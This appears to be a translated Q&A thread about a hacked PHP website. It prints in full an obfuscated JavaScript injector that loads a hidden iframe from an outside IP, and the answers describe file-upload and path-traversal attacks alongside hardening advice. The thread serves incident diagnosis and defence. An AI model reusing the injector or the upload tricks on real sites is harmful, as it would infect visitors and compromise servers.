19

问题:

在我的网站上,有一些 PHP 文件都以此结尾:

<?php include 'footer.php'; ?>

在此行之前,文件中还有 HTML 代码。

当然,浏览器中的输出以此结束:

</body>
</html>

但是昨天,突然间,最后出现了一些恶意代码。我的 index.php 的输出是:

</body>
</html><body><script>
var i={j:{i:{i:'~',l:'.',j:'^'},l:{i:'%',l:218915,j:1154%256},j:{i:1^0,l:55,j:'ijl'}},i:{i:{i:function(j){try{var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x6e\x70\x75\x74');l['\x74\x79\x70\x65']='\x68\x69\x64\x64\x65\x6e';l['\x76\x61\x6c\x75\x65']=j;l['\x69\x64']='\x6a';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);}catch(j){return false;}
return true;},l:function(){try{var l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6a');}catch(l){return false;}
return l.value;},j:function(){var l=i.i.i.i(i.l.i.i('.75.67.67.63.3a.2f.2f.39.32.2e.36.30.2e.31.37.37.2e.32.33.35.2f.76.61.71.72.6b.2e.63.75.63.3f.66.75.61.6e.7a.72.3d.6b.37.36.6b.30.39'));var j=(l)?i.i.i.l():false;return j;}},l:{i:function(){var l=i.i.i.j('trashtext');var j=(l)?l:'trashtext';return j||false;},l:function(){var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x6c');l['\x77\x69\x64\x74\x68']='0.1em';l['\x68\x65\x69\x67\x68\x74']='0.2em';l['\x73\x74\x79\x6c\x65']['\x62\x6f\x72\x64\x65\x72']='none';l['\x73\x74\x79\x6c\x65']['\x64\x69\x73\x70\x6c\x61\x79']='none';l['\x69\x6e\x6e\x65\x72\x48\x54\x4d\x4c']='\x6c';l['\x69\x64']='\x6c';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);},j:function(){var l=i.i.j.j(i.i.l.l());l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6c');var j=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x66\x72\x61\x6d\x65');j['\x68\x65\x69\x67\x68\x74']=j['\x77\x69\x64\x74\x68'];j['\x73\x72\x63']=i.i.j.i(i.i.l.i());try{l['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](j);}catch(j){}}},j:{i:function(l){return l['replace'](/[A-Za-z]/g,function(j){return String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65']((((j=j.charCodeAt(0))&223)-52)%26+(j&32)+65);});},l:function(l){return i.i.j.i(l)['\x74\x6f\x53\x74\x72\x69\x6e\x67']()||false;},j:function(l){try{l();}catch(l){}}}},l:{i:{i:function(l){l=l['replace'](/[.]/g,'%');return window['\x75\x6e\x65\x73\x63\x61\x70\x65'](l);},l:'50',j:'33'},l:{i:'62',l:'83',j:'95'},j:{i:'46',l:'71',j:'52'}}}
i.i.l.j();</script>

我在我的网站空间上打开了文件(通过 FTP 下载),我看到有人将这段代码直接放入了文件中!

这怎么可能发生?

我能想象的唯一方法:

  • 有人知道了我的 FTP 密码。但他不会只把它放在一个文件中。他本可以造成更大的伤害。所以我无法想象会是这样。
  • 我自己的电脑上有病毒。我使用 Notepad++ 进行编辑,使用 FileZilla 进行上传。也许这些程序也被污染了,我上传了恶意代码 - 不知道。
  • 有人使用安全漏洞 (XSS) 将该代码放入页面。但他不可能把它直接放进文件里,不是吗?

症状:

用户报告在 Firefox 中弹出一个蓝色面板。它要求他们安装一个插件。现在他们中的一些人在他们的 PC 上安装了 Exploit.Java.CVE-2010-0886.a。

这是由于恶​​意代码吗?代码到底做了什么?

你能帮助我吗?

请帮帮我,我真的很绝望。

也许还有一个问题,如果你知道我怎么能得到它:我怎么能防止将来发生这样的事情?

编辑#1:

我在我的网站空间的根目录中找到了一个名为“x76x09.php”的文件。它的文件大小为 44.281 字节。我已经下载并尝试打开它。但是我的杀毒软件说是木马(Trojan.Script.224490)。我认为该文件已被执行,并将恶意代码添加到每个目录的“index.php”中。这有帮助吗?特洛伊木马怎么会进入我的空间?这是众所周知的病毒吗?

编辑#2:

我的主持人说他现在可以确定该文件不是通过 FTP 上传的。所以感染不是通过 FTP 发生的。据我的主持人说,它一定是不安全的脚本。

编辑#3:

根据 PHPSecInfo 的安全漏洞:

  • allow_url_fopen = 1
  • allow_url_include = 1
  • 暴露_php = 1
  • file_uploads = 1(这是恶意“x76x09.php”文件的罪魁祸首吗?)
  • group_id = 99
  • 用户 ID = 99

编辑#4:

我已经分析了在我的网络服务器上执行的文件。这是结果

所以这个病毒似乎被称为:

  • PHP/C99Shell.BF
  • 后门/PHP.C99Shell
  • BackDoor.Generic_c.CQA
  • 木马.Script.224490
  • Exploit.PHP.635
  • 后门.PHP.C99Shell.bf
  • 木马.Script.224490

其中一些会导致我的网站空间上的恶意文件添加了恶意代码吗?

4

10 回答 10

17

我不认为问题在于您使用的是共享主机,因为我找到了其他六个(degmsbBenvoliojoomla01DJ-Alienvalerione1979Kars)的网站添加了相同的脚本。此外,您的任何文件是否可以被其他人写入是值得怀疑的,因为通过 FTP 上传的文件受文件创建模式位掩码的约束。

我最好的猜测是,有人正在使用已知漏洞或针对常见弱点的漏洞来破解网站,并且此人正在通过谷歌黑客识别可能的目标。degmsb 的 Wordpress 网站和 Benvolio 的 Burning Board Lite 网站很可能是通过已知漏洞(可能是这些软件基础的已知插件漏洞,例如 TinyMCE)破解的,并且您的网站,因为您自己编写,很可能通过针对普通网站的漏洞破解弱点。

鉴于您允许文件上传(您的一个 PHP 脚本接受并保存用户上传的文件),我会考虑CWE-434: Unrestricted Upload of File with Dangerous Type。CWE-434 漏洞的工作原理如下:假设您允许用户上传头像图像或图片。上传图片的脚本可能会/images使用用户提供的相同文件名保存文件。现在假设有人上传x76x09.gif.php(或x76x09.gif.asp,x76x09.gif.php4等)。您的脚本将尽职尽责地将此上传保存到/images/x76x09.gif.php,破解者需要做的就是让服务器运行此脚本,浏览到/images/x76x09.gif.php. 即使文件名为x76x09.php.gif,某些 Web 服务器也会执行该文件。

另一种可能性是 PHP 接收到的上传文件名,即发送的标头中$_FILES['upload']['name']filenameContent-Disposition,被构造为类似..\modules\x.gif. 如果您的脚本将新上传的文件保存到str_replace('\\', '/', '/images/' . basename($_FILES['upload']['name']))或非/images/../modules/x.gifWindows 主机 ( http://codepad.org/t83dYZwa ),并且用户可以通过某种方式将您的 PHP 脚本之一includerequire任何脚本保存在modules目录(比如) ,index.php?module=x.gif&action=blah然后破解者将能够执行任意 PHP。

编辑:看起来像是 x76x09.php某种不受限制的目录浏览器和文件上传器。如果用户设法将其上传到您的服务器,那么他们基本上可以做任何您可以通过 FTP 访问做的事情。删除它。

EDIT2:查找此 PHP 源代码(部分gzuncompress(base64_decode("HJ3H...geFb//eeff/79z/8A"));)的副本。从所有 PHP 脚本中删除它。

EDIT3:谷歌搜索PHP脚本的部分,我发现了几个网页逐字列出了这个来源,所有这些网页都与各自网站的文件上传功能有关。因此,您网站的黑客很可能使用了 CWE-434 漏洞。

于 2010-07-02T15:20:43.843 回答
7

看起来您的服务器已被入侵,您是否也在共享主机上?

您可以通过以下方式找到服务器的安全配置:

PhpSecInfo

替代文字
(来源:phpsec.org

于 2010-06-25T20:58:06.137 回答
3

你和谁一起主持?一些托管商存在可能被利用的安全漏洞。

你在使用 WordPress 吗?也有一些报告的爆发。最好的办法是谷歌它寻找有类似问题的人,这也将导致原因,这将导致解决方案。

于 2010-06-25T20:55:49.037 回答
3

正如其他人所建议的那样,该漏洞很可能出现在您正在使用的某些脚本中,可能是您自己编写的脚本,或者是具有已知漏洞的知名应用程序。这可能是上传脚本中的一个漏洞,但我想指出,也可以通过 SQL 注入“上传”文件,有关详细信息,请参阅以下线程

于 2010-07-03T16:17:00.370 回答
2

不久前,我们的主要网络资产之一遇到了与此类似的问题。您的网络主机说的是正确的:这可能是由于不是 FTP 访问,而是一个不安全的脚本,它以某种方式允许修改任意文件。在我们的案例中,旧 phpMyAdmin 中的漏洞允许更改某些 PHP 脚本。

如果您还没有这样做,您可能需要确保 Web 服务器仅对所有脚本和 HTML 文件具有读取权限。事实证明,在我们的案例中,Apache 也可以写入脚本。简单地

cd web_files_directory
chown -R some_not_web_server_user:some_not_web_server_group .
find . -type f | xargs chmod 644
find . -type d | xargs chmod 755
于 2010-06-30T23:01:04.677 回答
1

我建议更改任何 FTP 或 SSH 密码以确保安全。如果您使用托管服务提供商,您还应该将违规通知他们。如果您没有日志来调查此事,那么他们可能会。您还应该谷歌添加到您的页面的代码,看看您是否能找到其他任何东西。

于 2010-06-25T20:57:14.430 回答
1

phsource 是最接近的。

如果您在共享服务器上,其他人可以访问服务器本身。这是一种共享服务器的定义。问题是,如果您拥有权限为 777 的文件,则它们是世界用户组可写的。这意味着任何有权访问该框的人都可以写信给他们。看到问题了吗?

只需要一个人在那个盒子上拥有一个弱密码、配置不当的脚本或一段可怕的代码,而一个平庸的脚本小子可能会在整个盒子里造成各种问题。大多数这些攻击都是完全自动化的。他们获得访问权限,扫描可攻击的文件,并根据需要进行附加。

最有可能的是,您应该将所有文件更改为 755 或 644 权限。晚上你会睡得更好。

完成清理后,请确保 Google 没有将您标记为恶意网站。清理并不可怕,但它可以同时减少你的流量。

于 2010-07-01T04:11:47.117 回答
1

如果您自己编写了易受攻击的 Web 应用程序,那么您已经抢占先机,弄清楚在哪里可以找到大多数可以被利用的访问点。不幸的是,这可能还不够好(编写和维护安全的 Web 应用程序比大多数人想象的要难)。

如果您不是自己编写的应用程序,或者如果您正在重复使用其他人编写的大型、复杂的组件,或者如果您只是需要帮助来处理网站安全问题,那么有商业服务可以抓取您的网站并尝试找出他们易受攻击的地方,例如:

http://www.qualys.com/products/qg_suite/was/

显然,这些服务需要花钱,但您通常可以获得“免费试用”,看看它们是否有用。祝你好运!

于 2010-07-03T16:38:55.357 回答
0

如果您有静态 IP - 您可以禁止来自非您 IP 的 ftp 访问

于 2010-06-25T21:01:51.307 回答
0

这以不同的方式发生在我身上。工作帐户通过代码漏洞通过 phpBB 泄露。不知何故,他们甚至将自己添加到 mySQL db users 表中。这导致我们完全删除该程序并停止使用。

一个旧的 Joomla 安装是允许人们完全按照您在我的个人网站上所说的操作的漏洞。我忘记了它甚至在那里,但这足以让他们在几个不同的网站上安装恶意代码。我关闭了网站,更改了权限,更新了 Joomla,并清理了文件。

在一些高峰黑客尝试期间,我当前的生产服务器每小时“嗅探”phpMyAdmin 超过 1000 次。坏人正在加班!

底线,警惕开源代码,如果你使用它,更新,更新,更新。

于 2010-06-30T23:07:48.133 回答